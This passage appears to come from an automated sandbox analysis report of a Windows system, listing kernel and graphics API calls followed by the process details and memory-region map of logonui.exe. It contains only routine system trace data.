(FastMutex=0xffffe000001652b0) [0140.748] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0141.106] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.106] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0141.278] EngAcquireSemaphore () returned 0xfffff901409d8010 [0141.278] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.279] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x4309780000) returned 0x0 [0141.280] ObfDereferenceObject (Object=0xffffc00000f094a0) returned 0x1 [0141.280] EngUnlockSurface () returned 0x1 [0141.280] EngDeleteSurface () returned 0x1 [0141.280] ExFreePoolWithTag (P=0xffffe000010fcd10, Tag=0x0) [0141.280] EngFreeMem () returned 0xfffff901408db740 [0141.529] EngAcquireSemaphore () returned 0xfffff901409d8010 [0141.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.530] ObfDereferenceObject (Object=0xffffc00001b04a40) returned 0x1 [0141.530] EngUnlockSurface () returned 0x1 [0141.530] EngDeleteSurface () returned 0x1 [0141.530] ExFreePoolWithTag (P=0xffffe00001576830, Tag=0x0) [0141.530] EngFreeMem () returned 0xfffff90140881ca0 [0141.545] EngAcquireSemaphore () returned 0xfffff901409d8010 [0141.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.551] ObfDereferenceObject (Object=0xffffc0000153cba0) returned 0x1 [0141.551] EngUnlockSurface () returned 0x1 [0141.551] EngDeleteSurface () returned 0x1 [0141.551] ExFreePoolWithTag (P=0xffffe0000147d450, Tag=0x0) [0141.551] EngFreeMem () returned 0xfffff901409e3c80 [0142.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.894] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0143.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.257] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0143.729] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.729] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0144.017] EngAcquireSemaphore () returned 0xfffff901409d8010 [0144.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.018] MmUnmapViewOfSection (Process=0xffffe000015af200, BaseAddress=0x2fb9900000) returned 0x0 [0144.019] ObfDereferenceObject (Object=0xffffc00001a21060) returned 0x1 [0144.019] EngUnlockSurface () returned 0x1 [0144.019] EngDeleteSurface () returned 0x1 [0144.019] ExFreePoolWithTag (P=0xffffe000000e90e0, Tag=0x0) [0144.019] EngFreeMem () returned 0xfffff901400f0a10 [0144.169] EngAcquireSemaphore () returned 0xfffff901409d8010 [0144.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.169] ObfDereferenceObject (Object=0xffffc00000f02460) returned 0x1 [0144.169] EngUnlockSurface () returned 0x1 [0144.169] EngDeleteSurface () returned 0x1 [0144.169] ExFreePoolWithTag (P=0xffffe000011e83f0, Tag=0x0) [0144.169] EngFreeMem () returned 0xfffff901409af010 [0144.184] EngAcquireSemaphore () returned 0xfffff901409d8010 [0144.184] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.190] ObfDereferenceObject (Object=0xffffc0000153ae20) returned 0x1 [0144.190] EngUnlockSurface () returned 0x1 [0144.190] EngDeleteSurface () returned 0x1 [0144.190] ExFreePoolWithTag (P=0xffffe000012e1b30, Tag=0x0) [0144.190] EngFreeMem () returned 0xfffff901424f3340 [0145.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.476] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0145.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.806] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0146.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.242] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0146.398] EngAcquireSemaphore () returned 0xfffff901409d8010 [0146.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.399] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0x47821c0000) returned 0x0 [0146.400] ObfDereferenceObject (Object=0xffffc00001242570) returned 0x1 [0146.400] EngUnlockSurface () returned 0x1 [0146.400] EngDeleteSurface () returned 0x1 [0146.400] ExFreePoolWithTag (P=0xffffe000015a44a0, Tag=0x0) [0146.400] EngFreeMem () returned 0xfffff901408d10f0 [0146.665] EngAcquireSemaphore () returned 0xfffff901409d8010 [0146.665] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.665] ObfDereferenceObject (Object=0xffffc00001aed1c0) returned 0x1 [0146.665] EngUnlockSurface () returned 0x1 [0146.665] EngDeleteSurface () returned 0x1 [0146.665] ExFreePoolWithTag (P=0xffffe00000fcff40, Tag=0x0) [0146.666] EngFreeMem () returned 0xfffff90140881ca0 [0146.680] EngAcquireSemaphore () returned 0xfffff901409d8010 [0146.680] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.686] ObfDereferenceObject (Object=0xffffc0000123d990) returned 0x1 [0146.686] EngUnlockSurface () returned 0x1 [0146.686] EngDeleteSurface () returned 0x1 [0146.686] ExFreePoolWithTag (P=0xffffe00000b1f1d0, Tag=0x0) [0146.686] EngFreeMem () returned 0xfffff901409bbd40 [0147.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.958] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0148.311] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.311] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0148.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.785] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0148.941] EngAcquireSemaphore () returned 0xfffff901409d8010 [0148.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.942] MmUnmapViewOfSection (Process=0xffffe000011e9700, BaseAddress=0xa8e0a60000) returned 0x0 [0148.942] ObfDereferenceObject (Object=0xffffc00001a21060) returned 0x1 [0148.942] EngUnlockSurface () returned 0x1 [0148.942] EngDeleteSurface () returned 0x1 [0148.942] ExFreePoolWithTag (P=0xffffe0000104e190, Tag=0x0) [0148.942] EngFreeMem () returned 0xfffff901409de1a0 [0149.348] EngAcquireSemaphore () returned 0xfffff901409d8010 [0149.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.348] ObfDereferenceObject (Object=0xffffc00001b04a40) returned 0x1 [0149.348] EngUnlockSurface () returned 0x1 [0149.348] EngDeleteSurface () returned 0x1 [0149.349] ExFreePoolWithTag (P=0xffffe000011ff330, Tag=0x0) [0149.349] EngFreeMem () returned 0xfffff901409efe30 [0149.349] EngAcquireSemaphore () returned 0xfffff901409d8010 [0149.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.354] ObfDereferenceObject (Object=0xffffc00001c662c0) returned 0x1 [0149.354] EngUnlockSurface () returned 0x1 [0149.354] EngDeleteSurface () returned 0x1 [0149.354] ExFreePoolWithTag (P=0xffffe0000130ecd0, Tag=0x0) [0149.354] EngFreeMem () returned 0xfffff9014088d990 [0150.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.621] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0151.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.016] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0151.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.486] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0151.657] EngAcquireSemaphore () returned 0xfffff901409d8010 [0151.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.658] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xe3541b0000) returned 0x0 [0151.659] ObfDereferenceObject (Object=0xffffc00002068570) returned 0x1 [0151.659] EngUnlockSurface () returned 0x1 [0151.659] EngDeleteSurface () returned 0x1 [0151.659] ExFreePoolWithTag (P=0xffffe00000fbb920, Tag=0x0) [0151.659] EngFreeMem () returned 0xfffff9014245d350 [0151.973] EngAcquireSemaphore () returned 0xfffff901409d8010 [0151.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.973] ObfDereferenceObject (Object=0xffffc00001dbaaa0) returned 0x1 [0151.973] EngUnlockSurface () returned 0x1 [0151.973] EngDeleteSurface () returned 0x1 [0151.974] ExFreePoolWithTag (P=0xffffe000011afab0, Tag=0x0) [0151.974] EngFreeMem () returned 0xfffff90140881ca0 [0151.974] EngAcquireSemaphore () returned 0xfffff901409d8010 [0151.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.980] ObfDereferenceObject (Object=0xffffc0000205a570) returned 0x1 [0151.980] EngUnlockSurface () returned 0x1 [0151.980] EngDeleteSurface () returned 0x1 [0151.980] ExFreePoolWithTag (P=0xffffe00001306680, Tag=0x0) [0151.980] EngFreeMem () returned 0xfffff901424f3340 [0153.217] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.217] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0153.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.562] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0154.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.016] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0154.188] EngAcquireSemaphore () returned 0xfffff901409d8010 [0154.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.189] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0xec7090000) returned 0x0 [0154.190] ObfDereferenceObject (Object=0xffffc00001530f20) returned 0x1 [0154.190] EngUnlockSurface () returned 0x1 [0154.190] EngDeleteSurface () returned 0x1 [0154.190] ExFreePoolWithTag (P=0xffffe0000144cc80, Tag=0x0) [0154.190] EngFreeMem () returned 0xfffff901408b2ba0 [0154.501] EngAcquireSemaphore () returned 0xfffff901409d8010 [0154.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.502] ObfDereferenceObject (Object=0xffffc000015a25f0) returned 0x1 [0154.502] EngUnlockSurface () returned 0x1 [0154.502] EngDeleteSurface () returned 0x1 [0154.502] ExFreePoolWithTag (P=0xffffe0000104e190, Tag=0x0) [0154.502] EngFreeMem () returned 0xfffff9014244f620 [0154.502] EngAcquireSemaphore () returned 0xfffff901409d8010 [0154.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.508] ObfDereferenceObject (Object=0xffffc0000153ae20) returned 0x1 [0154.508] EngUnlockSurface () returned 0x1 [0154.508] EngDeleteSurface () returned 0x1 [0154.508] ExFreePoolWithTag (P=0xffffe000012371a0, Tag=0x0) [0154.508] EngFreeMem () returned 0xfffff90140892c80 [0155.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.941] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0159.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.972] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0162.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.098] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0162.222] EngAcquireSemaphore () returned 0xfffff901409d8010 [0162.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.222] MmUnmapViewOfSection (Process=0xffffe00001078440, BaseAddress=0xcb27de0000) returned 0x0 [0162.223] ObfDereferenceObject (Object=0xffffc000017b89a0) returned 0x1 [0162.223] EngUnlockSurface () returned 0x1 [0162.223] EngDeleteSurface () returned 0x1 [0162.223] ExFreePoolWithTag (P=0xffffe0000156dfc0, Tag=0x0) [0162.223] EngFreeMem () returned 0xfffff901408db740 Thread: id = 289 os_tid = 0x2d8 Thread: id = 290 os_tid = 0x2e0 Thread: id = 291 os_tid = 0x2dc Thread: id = 292 os_tid = 0x2e4 Thread: id = 298 os_tid = 0x2fc Thread: id = 344 os_tid = 0x3c0 Thread: id = 752 os_tid = 0x890 Process: id = "44" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x6c483000" os_pid = "0x29c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x1a8" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 3494 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3495 start_va = 0xf107140000 end_va = 0xf10715ffff entry_point = 0x0 region_type = private name = "private_0x000000f107140000" filename = "" Region: id = 3496 start_va = 0xf107160000 end_va = 0xf10716efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107160000" filename = "" Region: id = 3497 start_va = 0xf107170000 end_va = 0xf1071effff entry_point = 0x0 region_type = private name = "private_0x000000f107170000" filename = "" Region: id = 3498 start_va = 0xf1071f0000 end_va = 0xf1071f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1071f0000" filename = "" Region: id = 3499 start_va = 0x7ff646f90000 end_va = 0x7ff646fb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff646f90000" filename = "" Region: id = 3500 start_va = 0x7ff646fb7000 end_va = 0x7ff646fb7fff entry_point = 0x0 region_type = private name = "private_0x00007ff646fb7000" filename = "" Region: id = 3501 start_va = 0x7ff646fbe000 end_va = 0x7ff646fbffff entry_point = 0x0 region_type = private name = "private_0x00007ff646fbe000" filename = "" Region: id = 3502 start_va = 0x7ff6475c0000 end_va = 0x7ff6475c7fff entry_point = 0x7ff6475c0000 region_type = mapped_file name = "logonui.exe" filename = "\\Windows\\System32\\LogonUI.exe" (normalized: "c:\\windows\\system32\\logonui.exe") Region: id = 3503 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3505 start_va = 0xf107200000 end_va = 0xf107202fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107200000" filename = "" Region: id = 3506 start_va = 0xf107210000 end_va = 0xf107211fff entry_point = 0x0 region_type = private name = "private_0x000000f107210000" filename = "" Region: id = 3527 start_va = 0xf107400000 end_va = 0xf1074fffff entry_point = 0x0 region_type = private name = "private_0x000000f107400000" filename = "" Region: id = 3528 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3529 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3530 start_va = 0xf107140000 end_va = 0xf10714ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107140000" filename = "" Region: id = 3531 start_va = 0x7ff646e90000 end_va = 0x7ff646f8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff646e90000" filename = "" Region: id = 3532 start_va = 0xf107220000 end_va = 0xf10729dfff entry_point = 0xf107220000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3533 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3534 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3535 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3536 start_va = 0xf107150000 end_va = 0xf10715ffff entry_point = 0x0 region_type = private name = "private_0x000000f107150000" filename = "" Region: id = 3537 start_va = 0xf1072a0000 end_va = 0xf1072a6fff entry_point = 0x0 region_type = private name = "private_0x000000f1072a0000" filename = "" Region: id = 3538 start_va = 0xf1072b0000 end_va = 0xf107369fff entry_point = 0xf1072dc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3539 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3540 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3541 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3542 start_va = 0xf1072b0000 end_va = 0xf1072b6fff entry_point = 0x0 region_type = private name = "private_0x000000f1072b0000" filename = "" Region: id = 3543 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3544 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3545 start_va = 0xf1072c0000 end_va = 0xf1072f3fff entry_point = 0xf1072c1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3546 start_va = 0xf107500000 end_va = 0xf107687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107500000" filename = "" Region: id = 3547 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3548 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3549 start_va = 0xf1072c0000 end_va = 0xf1072effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1072c0000" filename = "" Region: id = 3550 start_va = 0xf107690000 end_va = 0xf107810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107690000" filename = "" Region: id = 3551 start_va = 0xf1072f0000 end_va = 0xf1072f0fff entry_point = 0x0 region_type = private name = "private_0x000000f1072f0000" filename = "" Region: id = 3552 start_va = 0xf107300000 end_va = 0xf107300fff entry_point = 0x0 region_type = private name = "private_0x000000f107300000" filename = "" Region: id = 3553 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3554 start_va = 0xf107310000 end_va = 0xf10739ffff entry_point = 0x0 region_type = private name = "private_0x000000f107310000" filename = "" Region: id = 3555 start_va = 0xf107310000 end_va = 0xf107310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107310000" filename = "" Region: id = 3556 start_va = 0xf107390000 end_va = 0xf10739ffff entry_point = 0x0 region_type = private name = "private_0x000000f107390000" filename = "" Region: id = 3557 start_va = 0xf107820000 end_va = 0xf10790ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107820000" filename = "" Region: id = 3558 start_va = 0xf107310000 end_va = 0xf107313fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107310000" filename = "" Region: id = 3559 start_va = 0xf107320000 end_va = 0xf107326fff entry_point = 0x0 region_type = private name = "private_0x000000f107320000" filename = "" Region: id = 3560 start_va = 0xf107330000 end_va = 0xf107330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107330000" filename = "" Region: id = 3561 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3562 start_va = 0xf107340000 end_va = 0xf107340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107340000" filename = "" Region: id = 3563 start_va = 0x7ffd1b430000 end_va = 0x7ffd1b6b2fff entry_point = 0x7ffd1b430000 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 3567 start_va = 0xf107350000 end_va = 0xf107352fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107350000" filename = "" Region: id = 3568 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3569 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b380000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 3570 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3571 start_va = 0x7ffd1b1d0000 end_va = 0x7ffd1b37afff entry_point = 0x7ffd1b1d0000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 3572 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3573 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3575 start_va = 0xf107360000 end_va = 0xf107361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107360000" filename = "" Region: id = 3576 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af40000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 3577 start_va = 0xf107370000 end_va = 0xf107370fff entry_point = 0xf107370000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3580 start_va = 0xf107380000 end_va = 0xf107381fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107380000" filename = "" Region: id = 3581 start_va = 0x7ffd1ae90000 end_va = 0x7ffd1af30fff entry_point = 0x7ffd1ae90000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 3582 start_va = 0xf107910000 end_va = 0xf10798ffff entry_point = 0x0 region_type = private name = "private_0x000000f107910000" filename = "" Region: id = 3583 start_va = 0x7ff646fbc000 end_va = 0x7ff646fbdfff entry_point = 0x0 region_type = private name = "private_0x00007ff646fbc000" filename = "" Region: id = 3584 start_va = 0xf107370000 end_va = 0xf107372fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107370000" filename = "" Region: id = 3585 start_va = 0xf1073a0000 end_va = 0xf1073a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1073a0000" filename = "" Region: id = 3586 start_va = 0xf107990000 end_va = 0xf107d89fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f107990000" filename = "" Region: id = 3587 start_va = 0x7ffd1ae50000 end_va = 0x7ffd1ae8cfff entry_point = 0x7ffd1ae50000 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 3589 start_va = 0xf1073b0000 end_va = 0xf1073b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1073b0000" filename = "" Region: id = 3590 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3591 start_va = 0x7ffd1bed0000 end_va = 0x7ffd1bedcfff entry_point = 0x7ffd1bed107c region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 3592 start_va = 0xf107d90000 end_va = 0xf107e45fff entry_point = 0xf107d91120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3593 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1ade0000 region_type = mapped_file name = "mmdevapi.dll" filename = 